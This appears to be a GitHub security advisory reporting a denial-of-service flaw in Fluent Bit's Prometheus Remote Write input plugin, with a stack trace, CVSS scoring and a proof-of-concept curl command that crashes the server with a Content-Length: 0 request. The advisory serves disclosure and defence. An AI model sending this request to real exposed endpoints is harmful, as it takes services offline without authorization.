Skip to content

Denial of Service in Prometheus Remote Write Input Plugin

High
edsiper published GHSA-pj57-h8rx-jw5m Feb 26, 2025

Package

No package listed

Affected versions

3.1.9, 3.1.10, 3.2.0, 3.2.1, 3.2.2, 3.2.3

Patched versions

None

Description

Summary

When Prometheus Remote Write input plugin is running and listening on an IP:port, We can send a packet with Content-Length: 0 and it crashes the server. Improper handling of case when Content-Length is 0 allows user with access to the endpoint, to perform a remote Denial of service attack. This attack is highly reproducable and attacker can repeat it any times he wants.

Details

The crash occurs because Content-Length: 0 is not properly handled and this causes a NULL pointer dereference causing a crash. The stack trace for the crash is given below:

2024/10/08 13:04:49] [ info] [fluent bit] version=3.1.9, commit=, pid=1615440
[2024/10/08 13:04:49] [ info] [storage] ver=1.5.2, type=memory, sync=normal, checksum=off, max_chunks_up=128
[2024/10/08 13:04:49] [ info] [cmetrics] version=0.9.6
[2024/10/08 13:04:49] [ info] [ctraces ] version=0.5.6
[2024/10/08 13:04:49] [ info] [input:prometheus_remote_write:prometheus_remote_write.0] initializing
[2024/10/08 13:04:49] [ info] [input:prometheus_remote_write:prometheus_remote_write.0] storage_strategy='memory' (memory only)
[2024/10/08 13:04:49] [ info] [input:prometheus_remote_write:prometheus_remote_write.0] listening on 127.0.0.1:8080
[2024/10/08 13:04:49] [ info] [sp] stream processor started
[2024/10/08 13:04:49] [ info] [output:stdout:stdout.0] worker #0 started
[2024/10/08 13:05:00] [engine] caught signal (SIGSEGV)
#0  0x5d787552add5      in  cfl_sds_len() at lib/cfl/src/cfl_sds.c:90
#1  0x5d78750606bb      in  process_payload_metrics_ng() at plugins/in_prometheus_remote_write/prom_rw_prot.c:435
#2  0x5d78750608d6      in  prom_rw_prot_handle_ng() at plugins/in_prometheus_remote_write/prom_rw_prot.c:480
#3  0x5d7875452ca4      in  flb_http_server_client_activity_event_handler() at src/http_server/flb_http_server.c:391
#4  0x5d7874dab7a9      in  flb_engine_start() at src/flb_engine.c:1041
#5  0x5d7874d4454d      in  flb_lib_worker() at src/flb_lib.c:674
#6  0x79075e894ac2      in  start_thread() at h:442
#7  0x79075e92684f      in  ???() at :81
#8  0xffffffffffffffff  in  ???() at ???:0
Aborted

The NULL pointer dereference happens in the function cfl_sds_len when it tries to type-cast a NULL pointer into struct cfl_sds *.

PoC

Compilation

fluent-bit was compiled using the following commands and options:

cmake -DFLB_SHARED_LIB=No -DCMAKE_C_COMPILER=gcc -DCMAKE_CXX_COMPILER=g++ ..
make -j8 

Configuration

We use the default configuration given in documentation without any changes.

[INPUT]
    name prometheus_remote_write
    listen 127.0.0.1
    port 8080
    uri /api/prom/push

[OUTPUT]
    name stdout
    match *

Next we run fluent-bit using command:

bin/fluent-bit -c prom.conf

Crash

We send the following packet to cause a crash:

#!/bin/bash
curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: localhost:8080' -H $'Content-Length: 0' \
    --data-binary $'message \"RkFSQU46TUVHQUNIQVIweDAx==\"' \
    $'http://127.0.0.1:8080/api/prom/push'

Impact

It is a Denial of Service vulnerability that can be exploited remotely. Anyone who has exposed the endpoint of Prometheus Remote Write can be victim of this attack.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

No known CVE

Weaknesses

Credits